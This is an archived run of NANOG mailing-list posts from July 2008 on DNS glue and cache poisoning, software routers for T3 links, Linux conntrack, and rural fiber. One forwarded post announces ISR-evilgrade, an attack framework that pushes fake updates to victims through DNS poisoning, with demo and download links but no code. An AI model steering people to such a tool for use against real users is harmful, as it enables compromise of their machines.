time I remember playing with this stuff. YMMV. Deepak Jain AiNET From tomb at byrneit.net Mon Jul 28 14:35:30 2008 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Mon, 28 Jul 2008 12:35:30 -0700 Subject: Great Suggestion for the DNS problem...? In-Reply-To: <488E1BCB.4040108@karnaugh.za.net> References: <20080728190541.GG15946@cgi.jachomes.com> <488E1BCB.4040108@karnaugh.za.net> Message-ID: <70D072392E56884193E3D2DE09C097A9F3D0@pascal.zaphodb.org> As you pointed out, the protocol, if properly implemented, addresses this. There should always be Glue (A records for the NS) in a delegation. RFC 1034 even specifies this: 4.2.2 As the last installation step, the delegation NS RRs and glue RRs necessary to make the delegation effective should be added to the parent zone. The administrators of both zones should insure that the NS and glue RRs which mark both sides of the cut are consistent and remain so. > -----Original Message----- > From: Colin Alston [mailto:karnaugh at karnaugh.za.net] > Sent: Monday, July 28, 2008 12:20 PM > To: Jay R. Ashworth > Cc: nanog at nanog.org > Subject: Re: Great Suggestion for the DNS problem...? > > On 2008/07/28 09:05 PM Jay R. Ashworth wrote: > > Is there any reason which I'm too far down the food chain > to see why > > that's not a fantastic idea? Or at least, something inspired by it? > > If NS records pointed to IP's instead of names then this > problem might not exist. > The root holds glue going up the chain, and you could reject > authoritative responses from IP's not listed as authoritative > NS for that zone. > > Ie for karnaugh.za.net, net is looked up from root. Root IP > addresses are queried directly, so you know to ignore > responses coming from someone else. That gives you net (the > same gtld, how convenient) and authoritative IP response for > its NS. So you look up za.net and get correct glue and so on. > > Actually, if glue were always served up the resolution chain > then then only crummy glueless delegations would be vulnerable. > > Anyone feel like redesigning the DNS protocol? Anyone? No? :( > > From deepak at ai.net Mon Jul 28 14:38:38 2008 From: deepak at ai.net (Deepak Jain) Date: Mon, 28 Jul 2008 15:38:38 -0400 Subject: Software router state of the art In-Reply-To: <488E163F.6030305@rollernet.us> References: <488E0780.4000004@rollernet.us> <20080728175646.GK12628@blend.twistedpair.ca> <488E163F.6030305@rollernet.us> Message-ID: <488E203E.6000205@ai.net> Another option (if you want a pure Cisco platform) would be to buy a used Cisco 7500 or 7200 and put a T3 card in there. Those are probably super cheap through reseller channels. (<<$20K for a 1+1). A quick scan of Ebay shows a PA-MC-T3 for <$3K, a 7505 +RSP4+PS for $300 and a fast ethernet blade for $30.00. Excluding software licenses (assuming its not running something that its not perpetually licensed to something that will run the T3 card) you are looking at about $3K per T3 in HW. Deepak From ml at t-b-o-h.net Mon Jul 28 14:51:41 2008 From: ml at t-b-o-h.net (Tuc at T-B-O-H.NET) Date: Mon, 28 Jul 2008 15:51:41 -0400 (EDT) Subject: Possible prod to people to upgrade DNS Message-ID: <200807281951.m6SJpf5v037239@himinbjorg.tucs-beachin-obx-house.com> Hi, The demo takes a while to load, goes fast, but shows how the exploit for DNS can potentially be used to get into a persons machine w/o them even being involved. Tuc/TBOH Forwarded message: > > -- ISR - Infobyte Security Research > -- | ISR-evilgrade | www.infobyte.com.ar | > > ISR-evilgrade: is a modular framework that allow us to take advantage of poor upgrade implementations by injecting fake updates. > > * How does it work? > > It works with modules, each module implements the structure needed to emulate a false update of specific applications/systems. > Evilgrade needs the manipulation of the victim dns traffic. > > Attack vectors: > --------------------- > > Internal scenary: (Internal DNS access,ARP spoofing,DNS Cache Poisoning, DHCP spoofing) > External scenary: (Internal DNS access,DNS Cache Poisoning) > > * What are the supported OS? > > The framework is multiplaform, it only depends of having the right payload for the target platform to be exploited. > > Implemented modules: > --------------------------------- > - Java plugin > - Winzip > - Winamp > - MacOS > - OpenOffices > - iTunes > - Linkedin Toolbar > - DAP [Download Accelerator] > - notepad++ > - speedbit > > ..:: DEMO > > Demo feature - (Java plugin + Dan Kaminsky?s Dns vulnerability) = remote pwned. > http://www.infobyte.com.ar/demo/evilgrade.htm > > ..:: AUTHOR > > Francisco Amato > famato+at+infobyte+dot+com+dot+ar > > ..:: DOWNLOAD > > http://www.infobyte.com.ar/developments.html > > > ..:: MORE INFORMATION > > Presentation: > http://www.infobyte.com.ar/down/Francisco-Amato-evilgrade-ENG.html > > From jra at baylink.com Mon Jul 28 14:52:47 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Mon, 28 Jul 2008 15:52:47 -0400 Subject: Great Suggestion for the DNS problem...? In-Reply-To: <70D072392E56884193E3D2DE09C097A9F3D0@pascal.zaphodb.org> References: <20080728190541.GG15946@cgi.jachomes.com> <488E1BCB.4040108@karnaugh.za.net> <70D072392E56884193E3D2DE09C097A9F3D0@pascal.zaphodb.org> Message-ID: <20080728195247.GC16875@cgi.jachomes.com> On Mon, Jul 28, 2008 at 12:35:30PM -0700, Tomas L. Byrnes wrote: > As you pointed out, the protocol, if properly implemented, addresses > this. > > There should always be Glue (A records for the NS) in a delegation. RFC > 1034 even specifies this: > > 4.2.2 > As the last installation step, the delegation NS RRs and glue RRs > necessary to make the delegation effective should be added to the parent > zone. The administrators of both zones should insure that the NS and > glue RRs which mark both sides of the cut are consistent and remain so. > A probably important distinction: That's not the protocol, that's the specified implementation framework of the protocol. In general, DNS still works if you screw that up, which is why it's so often screwed up. Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From rubensk at gmail.com Mon Jul 28 15:00:35 2008 From: rubensk at gmail.com (Rubens Kuhl Jr.) Date: Mon, 28 Jul 2008 17:00:35 -0300 Subject: Software router state of the art In-Reply-To: <200807281607.m6SG7k5d098053@aurora.sol.net> References: <488DEBBE.20109@decarta.com> <200807281607.m6SG7k5d098053@aurora.sol.net> Message-ID: <6bb5f5b10807281300i92da7em45f8cf7691e184eb@mail.gmail.com> >> It keeps track of Src/Dst/QoS/Ethernet adapters/etc.. Additionally most >> systems have the iptables modules loaded in kernel and the conntrack >> module in kernel. This immediately activates connection tracking, >> therefore considerably slowing down software routing. The most optimal >> way of speeding this up would be sticking the route cache into somewhat >> faster memory. Though it would be fairly nice to get rid of the route >> cache as that can cause problem with eccentric setups. Also, as cache >> entries take a moment to be deleted, or degrade leading to convergence >> times being higher. > > Note .. to .. self .. Linux .. makes .. crappy .. router. Got it. > > Guess we'll continue to use FreeBSD, and the lesson to come away with > is that it probably pays to avoid technologies that are suboptimal > for the task at hand. Not everything is created equal. It also pays > to tune things. If "conntrack" hurts, then remove it. You can use Linux without conntrack. You can either do "rmmod ip_conntrack" (unload the module), rm /var/lib/modules/ip_conntrack (or something like that to erase the file) or use the RAW queue to forward some packets without connection tracking (-j NOTRACK) and some others with conntrack (proxy redirection, captive portal and thinks like that requires stateful forwarding in any platform). I would be more worried about the prefix match and route cache done by the operating system you are considering for use as a router. That cannot be circunverted by turning off conntrack, pf or anything that might do more with the packet that plain simple routing. Rubens From chris.stebner at gmail.com Mon Jul 28 15:01:30 2008 From: chris.stebner at gmail.com (Chris Stebner) Date: Mon, 28 Jul 2008 13:01:30 -0700 Subject: Software router state of the art In-Reply-To: <488E1F49.6050006@ai.net> References: <488E0780.4000004@rollernet.us> <20080728175646.GK12628@blend.twistedpair.ca> <488E163F.6030305@rollernet.us> <488E1F49.6050006@ai.net> Message-ID: <488E259A.1020300@gmail.com> Deepak Jain wrote: >> >> The problem I'm facing is that if I want something from Cisco that >> can do at least line-rate T3, I'm looking at least $20k per router. I >> don't have a uber-budget, so for me, that's kind of painful when I >> start to need more than one plus spare parts. But, I have a high >> level of confidence that I can put cards in, some memory, power it >> up, configure it and I'm good to go. >> >> Junpier's J-series is a BSD based platform as far as I understand it. >> ImageStream is *much* more affordable for me, but is Linux-based, and >> I fear Linux as a router and I don't know what they've done to fix >> the common gripes with Linux-as-router. I have no idea if either of >> the two have hardware assist in the cards, but my impression is that >> they are essentially software platforms with custom interface cards. >> Interface cards are important to me because I'm operating in an >> environment where my link to the outside world is probably going to >> be T1/T3. >> >> I'm aware of Cisco IOS, then BSD-based and Linux-based platforms that >> are actually sold as routing products. I also know there are a >> billion "yay, router!" things out there. T1 cards are easy to find. >> The only other place I know I could buy a T3 card from is Sangoma. >> Maybe someone has even used it* T3 card before. Rather than reinvent >> the wheel alone, nanog has to contain the highest concentration of >> people that have tried various things and already know what will work >> and what won't work. I'm not looking for OS politics, just >> operational experience from people who have access to more money and >> more hardware than I do to have tried more stuff. >> >> If my best option is still from the big players, so be it. If there's >> something else that's just as stable, I want to hear about it. I'm >> not adverse to some dirty work, but I just don't have the time right >> now to jump in over my head into a software router project and then >> fight my way back to the surface. I'm not trying to create something >> for educational purposes, I need something suitable for a production >> environment. >> > > [I didn't know what to cut from above, so I left it]. > > What I've used and seen used before that plays both to the strengths > of the PC as a router and addresses some of the T3 related issues -- > especially if you control both ends of the T3. > > Using an FE to T3 bridge or FE to T1 bridge as the case may be. With a > little tuning you can put a rate shaper on the PC (prior art, very > stable) to not run into off-PC buffering issues. Your PC has plenty of > cheap buffer. The interface to the comms network is done through a > dedicated, telco or computer center grade piece of gear. > > Everyone here (NANOG) can agree that a 10 or 100Mb/s PC router is a no > brainer and as long as you aren't using irresponsible gear, this thing > will route packets forever. > > Putting telco interfaces into PCs has always been a little more odd, > but telco to ethernet bridges are fairly standard and fairly dumb. > Depending on how many of these you have etc, you can do creative > things with switches, FR, etc. And cost can be all over the map. I > know Pairgain used to make good ethernet to T1 bridges, and that's > probably the last time I remember playing with this stuff. > > YMMV. > > Deepak Jain > AiNET > To echo Deepak's suggestion and draw attention to the original statement "because I'm operating in an environment where my link to the outside world is probably going to be T1/T3." Would lead one to question the PA-MC-T3 even. Could be even cheaper if you don't need the multi-channel component (of course the monthly cost of the DS3 pales here in comparison w/ the h/w setup, but thought Id mention it regardless as it could save you 2 grand.) If all you need is a few t1's just pick up the VIP 2-50 interface card and a 4 x T1 adapter. This solution can most be definitely be had for under 5 grand. with the RSP4+'s (ECC mem) youd be looking at greater than 99.99 percent uptime if configured with SSO. -chris From jbates at brightok.net Mon Jul 28 15:15:16 2008 From: jbates at brightok.net (Jack Bates) Date: Mon, 28 Jul 2008 15:15:16 -0500 Subject: Software router state of the art In-Reply-To: <488E259A.1020300@gmail.com> References: <488E0780.4000004@rollernet.us> <20080728175646.GK12628@blend.twistedpair.ca> <488E163F.6030305@rollernet.us> <488E1F49.6050006@ai.net> <488E259A.1020300@gmail.com> Message-ID: <488E28D4.3020806@brightok.net> Chris Stebner wrote: > This solution can most be definitely be had for under 5 grand. with the > RSP4+'s (ECC mem) youd be looking at greater than 99.99 percent uptime > if configured with SSO. But if you end up needing BGP with full routes, throw that out the window. The RSP16's are expensive (even used relative to the RSP4) and usually necessarily for memory due to the current global routing table size. They are still cheap on the used market compared to list of most vendors, though. Jack From karnaugh at karnaugh.za.net Mon Jul 28 15:20:34 2008 From: karnaugh at karnaugh.za.net (Colin Alston) Date: Mon, 28 Jul 2008 22:20:34 +0200 Subject: Great Suggestion for the DNS problem...? In-Reply-To: <20080728195247.GC16875@cgi.jachomes.com> References: <20080728190541.GG15946@cgi.jachomes.com> <488E1BCB.4040108@karnaugh.za.net> <70D072392E56884193E3D2DE09C097A9F3D0@pascal.zaphodb.org> <20080728195247.GC16875@cgi.jachomes.com> Message-ID: <488E2A12.40408@karnaugh.za.net> On 2008/07/28 09:52 PM Jay R. Ashworth wrote: > On Mon, Jul 28, 2008 at 12:35:30PM -0700, Tomas L. Byrnes wrote: >> As you pointed out, the protocol, if properly implemented, addresses >> this. >> >> There should always be Glue (A records for the NS) in a delegation. RFC >> 1034 even specifies this: >> >> 4.2.2 >> As the last installation step, the delegation NS RRs and glue RRs >> necessary to make the delegation effective should be added to the parent >> zone. The administrators of both zones should insure that the NS and >> glue RRs which mark both sides of the cut are consistent and remain so. >> > > A probably important distinction: > > That's not the protocol, that's the specified implementation framework > of the protocol. In general, DNS still works if you screw that up, > which is why it's so often screwed up. Yes it should work. In fact, why *don't* implementations discard authoritative responses from non-authoritative hosts? Or do we? Or am I horribly wrong? There's an argument that IP spoofing can easily derail this, but I'd shift that argument higher up the OSI, blame TCP, and move on to recommending SYN cookies. Even if forged though, if the forged IP returns NS authority glue that doesn't match the source, the lookup still fails. DNSSEC kinda does this verification though, just more complicatedly and more reliant on administrative cooperation, and I've never met a DNS person who is cooperative ;) My suggestion though was more of replacing NS -> A -> IP with NS -> IP That is just a brain fart though. My 0.00264050803375 cents (at current exchange rates). From jay at west.net Mon Jul 28 15:23:10 2008 From: jay at west.net (Jay Hennigan) Date: Mon, 28 Jul 2008 13:23:10 -0700 Subject: Arbitrary de-peering In-Reply-To: References: <1217257942.488de1d6b0ec0@mymail.yorku.ca> <2E6BDF0F-4EE6-472A-A8DE-57E5568B6462@styx.org> <111B2355-EF43-4F92-8E66-DD9BFF81593F@ianai.net> <37F98BA4-6F4B-438A-BBDE-6B7AD58E26F0@styx.org> Message-ID: <488E2AAE.8010708@west.net> Jon Lewis wrote: > On Mon, 28 Jul 2008, William Waites wrote: >> Tier 1 has enough peering relationships with enough other Tier 1 >> networks that they can always buy temporary transit privileges over an >> existing link. Every peering agreement I've seen has language to the effect that an entity can't both be a transit customer and a peer. Even if allowed, the temporary transit privileges would need to be provisioned and turned up which isn't going to happen instantaneously. > Tier 1 means you don't buy transit, no? "We are a Tier 1 provider" tends to mean "I am a salesperson". -- Jay Hennigan - CCIE #7880 - Network Engineering - jay at impulse.net Impulse Internet Service - http://www.impulse.net/ Your local telephone and internet company - 805 884-6323 - WB6RDV From frnkblk at iname.com Mon Jul 28 15:37:53 2008 From: frnkblk at iname.com (Frank Bulk) Date: Mon, 28 Jul 2008 15:37:53 -0500 Subject: So why don't US citizens get this? In-Reply-To: <488E044B.1040402@gmail.com> References: <2C28A764789D@xult.org> <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> <488E0222.7060205@vaxination.ca> <488E044B.1040402@gmail.com> Message-ID: That's right on the money....now, when significant portions of the plant needs to be replaced, fiber is almost the de facto approach. Frank -----Original Message----- From: Josh Cheney [mailto:josh.cheney at gmail.com] Sent: Monday, July 28, 2008 12:39 PM To: Jean-Fran?ois Mezei; nanog at nanog.org Subject: Re: So why don't US citizens get this? Jean-Fran?ois Mezei wrote: > Does population density still REALLY matter ? Considering that fibre > optic cables have a far longer reach than copper, and considering that > the utility poles already exist in less densely populated areas, it > would seem to me that fibre would be a superior alternative to copper, > especially when you consider the costs of setting up remotes all over > the place for copper. > > > And I would reckon that laying fibre along existing utility poles to > reach 200 homes would cost far less than laying fibre in a concrete high > rise appartment building to reach 200 appartments. My understanding is that for a rural area, in a completely new rollout or a forklift upgrade, fiber is cheaper than copper. However, because the majority of the copper that is currently deployed is still highly serviceable, it is very difficult to justify tearing out perfectly good copper and laying out fiber in it's place. -- Josh Cheney josh.cheney at gmail.com http://www.joshcheney.com From fw at deneb.enyo.de Mon Jul 28 15:42:08 2008 From: fw at deneb.enyo.de (Florian Weimer) Date: Mon, 28 Jul 2008 22:42:08 +0200 Subject: Software router state of the art In-Reply-To: <200807261307.m6QD7oel005598@aurora.sol.net> (Joe Greco's message of "Sat, 26 Jul 2008 08:07:49 -0500 (CDT)") References: <200807261307.m6QD7oel005598@aurora.sol.net> Message-ID: <87tze9zqov.fsf@mid.deneb.enyo.de> * Joe Greco: > I'm not sure where the claims about "{one, few} flow{s}" are coming from. > Certainly the number of flows on a typical UNIX box acting as a router is > not that relevant unless you specifically configure something like > stateful firewalling, because the typical UNIX box simply doesn't have a > *concept* of "flows." It deals with packets. You are mistaken. Linux routing is flow-based. Ever wondered what those "dst cache overflow" messages mean you see during a DoS attack? It's the flow cache complaining that it can't expire records in an organic manner. I don't know much about FreeBSD. I think it got a route cache after FreeBSD 4, too. That's the reason why the FreeBSD 4 IP stack is still so popular. From charles at thewybles.com Mon Jul 28 15:42:51 2008 From: charles at thewybles.com (Charles Wyble) Date: Mon, 28 Jul 2008 13:42:51 -0700 Subject: So why don't US citizens get this? In-Reply-To: References: <2C28A764789D@xult.org> <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> <488E0222.7060205@vaxination.ca> <488E044B.1040402@gmail.com> Message-ID: <488E2F4B.7010800@thewybles.com> Frank Bulk wrote: > That's right on the money....now, when significant portions of the plant > needs to be replaced, fiber is almost the de facto approach. > Almost? What else is there? I mean besides copper/coax of course? Why would you want to continue upgrading an outside plant based on that? I mean unless of course your a US telco. :) -- Charles Wyble (818) 280 - 7059 http://charlesnw.blogspot.com CTO Known Element Enterprises / SoCal WiFI project From michael.dillon at bt.com Mon Jul 28 16:02:45 2008 From: michael.dillon at bt.com (michael.dillon at bt.com) Date: Mon, 28 Jul 2008 22:02:45 +0100 Subject: Missing URL is here (was: So why don't US citizens get this?) Message-ID: As I was saying... > Here in London they even steal bronze statues or brass > railings in a park to get the copper content. Here is one > account of the risks that copper thieves will go to. Don't > read it if you have a queasy stomach. --Michael Dillon From michael.dillon at bt.com Mon Jul 28 16:08:32 2008 From: michael.dillon at bt.com (michael.dillon at bt.com) Date: Mon, 28 Jul 2008 22:08:32 +0100 Subject: Software router state of the art In-Reply-To: <488E0780.4000004@rollernet.us> Message-ID: > > Click for instance > Thanks for being oh-so-helpful with a serious question. Got > any useful answers for me? Give me a vendor that offers your > suggestion. I don't have time for a make-it-myself solution. Sorry, but you're in the wrong place. The IP networking consultants are over thataway, and if you pay them a nice daily fee they will sort out your problem for you. But if you want free suggestions, then you'll have to put up with half answers, vendor fanboys, and the usual ruckus of NANOG. --Michael Dillon P.S. that was a serious suggestion up above. If you have an interest in software routers, then you should look at it. If you just want to buy products then all routers are software routers, most especially the ones that depend on something called IOS or Junos. Focus on the capabilities that you need and the prices. Don't try to be pretend to be a router designer. From eugen at imacandi.net Mon Jul 28 16:14:12 2008 From: eugen at imacandi.net (Eugeniu Patrascu) Date: Tue, 29 Jul 2008 00:14:12 +0300 Subject: Software router state of the art In-Reply-To: <6bb5f5b10807281300i92da7em45f8cf7691e184eb@mail.gmail.com> References: <488DEBBE.20109@decarta.com> <200807281607.m6SG7k5d098053@aurora.sol.net> <6bb5f5b10807281300i92da7em45f8cf7691e184eb@mail.gmail.com> Message-ID: <488E36A4.205@imacandi.net> Rubens Kuhl Jr. wrote: > You can use Linux without conntrack. You can either do "rmmod > ip_conntrack" (unload the module), rm /var/lib/modules/ip_conntrack > (or something like that to erase the file) or use the RAW queue to > forward some packets without connection tracking (-j NOTRACK) and some > others with conntrack (proxy redirection, captive portal and thinks > like that requires stateful forwarding in any platform). > > I would be more worried about the prefix match and route cache done by > the operating system you are considering for use as a router. That > cannot be circunverted by turning off conntrack, pf or anything that > might do more with the packet that plain simple routing. > Hi, As of 2.6.x kernel version (at least on 2.6.17) there is a FIB implementation called LC_Trie which supposedly does an O(1) route lookup which is very fast. Where I live there are a lot of linux boxes deployed as routers pushing line rate GE for hundreds to thousand nodes computer networks while also deliverying QoS for each and every node. From what I see in this thread you're more worried about T3/E3 linecards than the actual Linux performance as a router. As a personal example, I use a celeron 2.53Ghz with 512Mb of ram to push line rate 3 x 100Mbps cards wihout any discernable load reported either by top or uptime and that on top of Quagga with about ~ 5k prefixes. Also, as an experiment I loaded a full routing table from one of my peers and besides of the increased RAM usage by Quagga to about 50MB the machine forwarded at the same rate, _maybe_ 1% incresed load. From chris.stebner at gmail.com Mon Jul 28 16:19:35 2008 From: chris.stebner at gmail.com (Chris Stebner) Date: Mon, 28 Jul 2008 14:19:35 -0700 Subject: Software router state of the art In-Reply-To: <488E28D4.3020806@brightok.net> References: <488E0780.4000004@rollernet.us> <20080728175646.GK12628@blend.twistedpair.ca> <488E163F.6030305@rollernet.us> <488E1F49.6050006@ai.net> <488E259A.1020300@gmail.com> <488E28D4.3020806@brightok.net> Message-ID: <488E37E7.2020109@gmail.com> Jack Bates wrote: > Chris Stebner wrote: >> This solution can most be definitely be had for under 5 grand. with >> the RSP4+'s (ECC mem) youd be looking at greater than 99.99 percent >> uptime if configured with SSO. > > But if you end up needing BGP with full routes, throw that out the > window. The RSP16's are expensive (even used relative to the RSP4) and > usually necessarily for memory due to the current global routing table > size. They are still cheap on the used market compared to list of most > vendors, though. > > Jack I was "assuming" some level of route filtering/summarization as he did mention a single t1/t3 (at least used the word "link" - singular). Good point though, if you need more than 512mb mem, your gonna have to shell out the extra $10k for the pair of RSP16's -chris From sethm at rollernet.us Mon Jul 28 16:19:50 2008 From: sethm at rollernet.us (Seth Mattinen) Date: Mon, 28 Jul 2008 14:19:50 -0700 Subject: Software router state of the art In-Reply-To: References: Message-ID: <488E37F6.50606@rollernet.us> michael.dillon at bt.com wrote: >>> Click for instance > >> Thanks for being oh-so-helpful with a serious question. Got >> any useful answers for me? Give me a vendor that offers your >> suggestion. I don't have time for a make-it-myself solution. > > Sorry, but you're in the wrong place. The IP networking consultants > are over thataway, and if you pay them a nice daily fee they will > sort out your problem for you. > > But if you want free suggestions, then you'll have to put up with > half answers, vendor fanboys, and the usual ruckus of NANOG. > > --Michael Dillon > > P.S. that was a serious suggestion up above. If you have an interest > in software routers, then you should look at it. If you just want to > buy products then all routers are software routers, most especially > the ones that depend on something called IOS or Junos. Focus on the > capabilities that you need and the prices. Don't try to be pretend to > be a router designer. > I'm aware of Cisco IOS, then BSD-based and Linux-based platforms that are actually sold as routing products. I also know there are a billion "yay, router!" things out there. Rather than reinvent the wheel alone, nanog has to contain the highest concentration of people that have tried various things and already know what will work and what won't work. I'm not looking for OS politics, just operational experience from people who have access to more money and more hardware than I do to have tried more stuff. ~Seth From sneak at datavibe.net Mon Jul 28 16:21:20 2008 From: sneak at datavibe.net (Rev. Jeffrey Paul) Date: Mon, 28 Jul 2008 14:21:20 -0700 Subject: Software router state of the art In-Reply-To: References: <488E0780.4000004@rollernet.us> Message-ID: <20080728212120.GC22194@datavibe.net> On Mon, Jul 28, 2008 at 10:08:32PM +0100, michael.dillon at bt.com wrote: > > But if you want free suggestions, then you'll have to put up with > half answers, vendor fanboys, and the usual ruckus of NANOG. > As much as I hate to contribute to the problem, I'd like to point out that the barrage of useless, off-topic, empty traffic on this list in the last week is, in my estimation, quite a bit above the "usual" ruckus of NANOG. While I'm not one to thunk down the rulebook, can you all collectively knock it off? Cheers, -jp -- -------------------------------------------------------- Rev. Jeffrey Paul -datavibe- sneak at datavibe.net aim:x736e65616b pgp:0xD9B3C17D phone:1-800-403-1126 9440 0C7F C598 01CA 2F17 D098 0A3A 4B8F D9B3 C17D "Virtue is its own punishment." -------------------------------------------------------- From jra at baylink.com Mon Jul 28 16:21:37 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Mon, 28 Jul 2008 17:21:37 -0400 Subject: So why don't US citizens get this? In-Reply-To: <202705b0807281048l3f9bd7b6l928e5bb0bafab5fb@mail.gmail.com> References: <2C28A764789D@xult.org> <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> <488E0222.7060205@vaxination.ca> <202705b0807281048l3f9bd7b6l928e5bb0bafab5fb@mail.gmail.com> Message-ID: <20080728212137.GI16875@cgi.jachomes.com> On Mon, Jul 28, 2008 at 12:48:49PM -0500, Jorge Amodio wrote: > > And I would reckon that laying fibre along existing utility poles to > > reach 200 homes would cost far less than laying fibre in a concrete high > > rise appartment building to reach 200 appartments. > > > > Problem is not laying fiber between poles, the last mile has been always > the show killer. > > 200 local loops + terminating equipment surely will cost more than 1 local > loop + terminating equipment. As it happens, we're looking into replacing about 30 HDSL4 T-1s with fiber. The copper loop charge, per T1, is about $180 a month or so. The fiber loop charge, *per T1* is about $150. Plus a $30 a month cross-connect charge. I love tariffs, don't you? Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From trelane at trelane.net Mon Jul 28 16:30:34 2008 From: trelane at trelane.net (Andrew D Kirch) Date: Mon, 28 Jul 2008 17:30:34 -0400 Subject: Software router state of the art In-Reply-To: <20080728212120.GC22194@datavibe.net> References: <488E0780.4000004@rollernet.us> <20080728212120.GC22194@datavibe.net> Message-ID: <488E3A7A.9070900@trelane.net> Rev. Jeffrey Paul wrote: > On Mon, Jul 28, 2008 at 10:08:32PM +0100, michael.dillon at bt.com wrote: > >> But if you want free suggestions, then you'll have to put up with >> half answers, vendor fanboys, and the usual ruckus of NANOG. >> >> > > As much as I hate to contribute to the problem, I'd like to point out > that the barrage of useless, off-topic, empty traffic on this list in > the last week is, in my estimation, quite a bit above the "usual" ruckus > of NANOG. > > While I'm not one to thunk down the rulebook, can you all collectively > knock it off? > > Cheers, > -jp I haven't followed the other threads in the last week, but I don't think that a discussion of routers is off topic. While Michael's opinion was expressed in a fairly tongue-in-cheek method as would be required by his response, I don't see anything offtopic, perhaps just hotly worded. Anderw From morrowc.lists at gmail.com Mon Jul 28 16:47:53 2008 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Mon, 28 Jul 2008 17:47:53 -0400 Subject: Software router state of the art In-Reply-To: <488E163F.6030305@rollernet.us> References: <488E0780.4000004@rollernet.us> <20080728175646.GK12628@blend.twistedpair.ca> <488E163F.6030305@rollernet.us> Message-ID: <75cb24520807281447p23269bbdl25db1fb5700fad18@mail.gmail.com> On Mon, Jul 28, 2008 at 2:55 PM, Seth Mattinen wrote: > The problem I'm facing is that if I want something from Cisco that can do at > least line-rate T3, I'm looking at least $20k per router. I don't have a > uber-budget, so for me, that's kind of painful when I start to need more > than one plus spare parts. But, I have a high level of confidence that I can > put cards in, some memory, power it up, configure it and I'm good to go. > it's interesting that no one has mentioned the Nokia platform in this discussion... they have a pc-based rackable server platform (in the ip530/ip560 sized box) which would do T3 interfaces (from nokia I believe even). Looking at the nokia website now I don't see WAN capabilities below the 1220 though :( so you'd have to be in for that at least. -Chris From sethm at rollernet.us Mon Jul 28 16:51:13 2008 From: sethm at rollernet.us (Seth Mattinen) Date: Mon, 28 Jul 2008 14:51:13 -0700 Subject: Software router state of the art In-Reply-To: <488E3A7A.9070900@trelane.net> References: <488E0780.4000004@rollernet.us> <20080728212120.GC22194@datavibe.net> <488E3A7A.9070900@trelane.net> Message-ID: <488E3F51.6020806@rollernet.us> Andrew D Kirch wrote: > Rev. Jeffrey Paul wrote: >> On Mon, Jul 28, 2008 at 10:08:32PM +0100, michael.dillon at bt.com wrote: >> >>> But if you want free suggestions, then you'll have to put up with >>> half answers, vendor fanboys, and the usual ruckus of NANOG. >>> >>> >> >> As much as I hate to contribute to the problem, I'd like to point out >> that the barrage of useless, off-topic, empty traffic on this list in >> the last week is, in my estimation, quite a bit above the "usual" ruckus >> of NANOG. >> >> While I'm not one to thunk down the rulebook, can you all collectively >> knock it off? >> >> Cheers, >> -jp > I haven't followed the other threads in the last week, but I don't think > that a discussion of routers is off topic. While Michael's opinion was > expressed in a fairly tongue-in-cheek method as would be required by his > response, I don't see anything offtopic, perhaps just hotly worded. > I wasn't too thrilled about being accused of OS politics when I was genuinely concerned about deploying a software router based on things I've heard in passing or read about here previously. It *is* nice to know that someone found out that FreeBSD 7 hates OSPF - since I actually use OSPF - and that would have tormented me for a while had I gone that route. Back to the topic at hand, unfortunately I wouldn't have the luxury of converting T1/T3 to Ethernet. I've used cards from Digium and Sangoma in the past for T1 and been relatively pleased, although older Digium cards hated sharing an IRQ with anything. ~Seth From toasty at dragondata.com Mon Jul 28 17:08:00 2008 From: toasty at dragondata.com (Kevin Day) Date: Mon, 28 Jul 2008 17:08:00 -0500 Subject: Software router state of the art In-Reply-To: <488E163F.6030305@rollernet.us> References: <488E0780.4000004@rollernet.us> <20080728175646.GK12628@blend.twistedpair.ca> <488E163F.6030305@rollernet.us> Message-ID: <36A26B83-6CD2-4742-BBA3-405DEA86F24B@dragondata.com> On Jul 28, 2008, at 1:55 PM, Seth Mattinen wrote: > I'm aware of Cisco IOS, then BSD-based and Linux-based platforms > that are actually sold as routing products. I also know there are a > billion "yay, router!" things out there. T1 cards are easy to find. > The only other place I know I could buy a T3 card from is Sangoma. > Maybe someone has even used it* T3 card before. Rather than reinvent > the wheel alone, nanog has to contain the highest concentration of > people that have tried various things and already know what will > work and what won't work. I'm not looking for OS politics, just > operational experience from people who have access to more money and > more hardware than I do to have tried more stuff. > > If my best option is still from the big players, so be it. If > there's something else that's just as stable, I want to hear about > it. I'm not adverse to some dirty work, but I just don't have the > time right now to jump in over my head into a software router > project and then fight my way back to the surface. I'm not trying to > create something for educational purposes, I need something suitable > for a production environment. > > ~Seth We use a lot of Sangoma's stuff ourselves, both for data and TDM voice applications. For the most part, it's worked flawlessly. The few problems we've had were dealt with amazingly quickly on their end - one of their developers stayed well after midnight and gave me a custom fix for a problem that was pretty insignificant to us. They support Linux a bit more strongly than FreeBSD, but both should work for what you need. Unless you're trying to install it on a 486, you'll have no problem handling 45mbps of traffic, bgp, nat, firewalls, etc. no matter what the PPS rate is. You get the full source to their drivers, the only exception is the firmware loaded onto the echo canceler DSP for voice applications. That said, they are a small company. Don't buy if you're expecting TAC level support contracts, glossy manuals or a GUI web interface to set the card up. T3 levels of bandwidth are well inside the "no longer a problem" scale of software routing. Quagga or Xorp, combined with your favorite software firewall, nat, or other goodies and you're up. If I remember right, someone made a Xorp bootable CD that had Sangoma's drivers included, so you were up and running pretty fast. If you want more specific info about anything, ask off list. -- Kevin From jgreco at ns.sol.net Mon Jul 28 17:24:17 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Mon, 28 Jul 2008 17:24:17 -0500 (CDT) Subject: Software router state of the art In-Reply-To: <488E3F51.6020806@rollernet.us> from "Seth Mattinen" at Jul 28, 2008 02:51:13 PM Message-ID: 